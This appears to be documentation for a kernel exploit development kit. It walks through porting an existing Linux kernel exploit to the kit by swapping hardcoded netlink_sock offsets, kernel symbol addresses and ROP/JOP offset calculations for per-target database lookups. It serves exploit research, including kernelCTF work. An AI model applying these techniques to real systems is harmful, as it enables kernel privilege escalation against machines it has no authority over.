How to port an existing exploit

Introduction

Let’s compare two versions of the same exploit (exp111):

to have a high-level overview of typical porting process flow.

Includes

Following the Steps 1,2 of “Creating Database” part of “How to get started” guide, add necessary includes:

 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
 #include <sched.h>
 #include <string.h>
-#include <errno.h>
 #include <fcntl.h>
 #include <stdint.h>
 #include <sys/ioctl.h>
 #include <linux/rtnetlink.h>
 #include <linux/membarrier.h>

+#include <xdk/core.h>
+#include <xdk/postrip.h>

+INCBIN(target_db, "target_db.kxdb");

Hardcoded sizes and offsets

Substitute hardcoded offsets, sizes etc (following Steps 4-7 of “Creating a Database” section of “How to get started” guide) from the original exploit:

-#define SK_RCU_OFF 744
-#define SK_DESTRUCT_OFF 720
-#define JOP_OFF (READ_BUF_SIZE - SK_RCU_OFF + SK_DESTRUCT_OFF - XATTR_HDR_LEN)

...

-#define XATTR_HDR_LEN 32
#define XATTR_DATA_LEN1 (READ_BUF_SIZE/2)
-#define XATTR_DATA_LEN2 (JOP_OFF + 8)
-
-/* How far out to inc */
-#define OOB_LOC1 688
-#define OOB_LOC2 1040
-/* Target event fds */
-#define TFD1 ((READ_BUF_SIZE - 8 + OOB_LOC1)/8)
-#define TFD2 ((READ_BUF_SIZE - 8 + OOB_LOC2)/8)
-/* Number of increments */
-#define NUM_INCS1 0x830
-#define NUM_INCS2 0xf

with Target definitions or rely on the already added symbols and structs from target_db. The process in case of above mentioned exploit could look like this:

  • Define a variable to initialize TargetDb:

       int main (int argc, char **argv) {
        char name[32];
        int num_events = 0;
        int target_sock;
        int optval = 1;
    
    +    TargetDb kxdb(target_db, target_db_size);
        ```
    
  • Target definitions for the exploit could look like this:

    +        Target st("kernelctf", "lts-6.1.61");
    +
    +        st.AddStruct("netlink_sock", 1120, {
    +            {"sk.sk_destruct", 720, 8},
    +            {"sk.sk_rcu.next", 744, 8},
    +            {"sk.sk_rcu.func", 752, 8},
    +            {"netlink_bind", 1040, 8},
    +            {"sk.sk_write_space", 688, 8} });
    +
    +        st.AddSymbol("__sk_destruct", 0xd1b360);
    +        st.AddSymbol("rtnetlink_bind", 0xd52e80);
    +
    +        kxdb.AddTarget(st);
    

    Note Mind the fact that Target allows adding symbol and structure information on per-target basis.

  • Following Step 8 of “Creating a Database” section of “How to get started” guide, detect on which target the TargetDb being run on, to be able to use correct symbol and offset values:

    +    auto target = kxdb.AutoDetectTarget();
    +
    +    printf("[+] Running on target: %s %s\n", target.GetDistro().c_str(), target.GetReleaseName().c_str());
    
  • Calculate all of the necessary sizes and offsets in main():

    +    /* Target event fds */
    +    auto sk_write_space_off = target.GetFieldOffset("netlink_sock", "sk.sk_write_space");
    +    auto netlink_bind_off = target.GetFieldOffset("netlink_sock", "netlink_bind");
    +    auto tfd1 = (READ_BUF_SIZE - 8 + sk_write_space_off)/8;
    +    auto tfd2 = (READ_BUF_SIZE - 8 + netlink_bind_off)/8;
    +
    +    auto __sk_destruct = target.GetSymbolOffset("__sk_destruct");
    +    auto sock_def_write_space = target.GetSymbolOffset("sock_def_write_space");
    +    num_incs1 = __sk_destruct - sock_def_write_space;
    +
    +    // (gdb) print rtnetlink_bind
    +    // $5 = {int (struct net *, int)} 0xffffffff81d52e80 <rtnetlink_bind>
    +    auto rtnetlink_bind = target.GetSymbolOffset("rtnetlink_bind");
    +    // (gdb) disassemble rtnetlink_bind
    +    // ...
    +    // 0xffffffff81d52e8f <+15>:	jmp    0xffffffff82404c80 <__x86_return_thunk>
    +    auto rtnetlink_bind_ret = target.GetSymbolOffset("rtnetlink_bind") + 0xf;
    +    auto num_incs2 = rtnetlink_bind_ret - rtnetlink_bind;
    +
    +    auto sk_rcu_off = target.GetFieldOffset("netlink_sock", "sk.sk_rcu.next");
    +    auto xattr_header_size = target.GetStructSize("simple_xattr");
    +    auto rop_off = READ_BUF_SIZE - sk_rcu_off - xattr_header_size;
    +
    +    auto sk_destruct_off = target.GetFieldOffset("netlink_sock", "sk.sk_destruct");
    +    char xattr_data[rop_off + sk_destruct_off + 8];
    

    Note If the structure or symbol was not defined via Target but used above, it means it’s already present in target_db and available for all targets.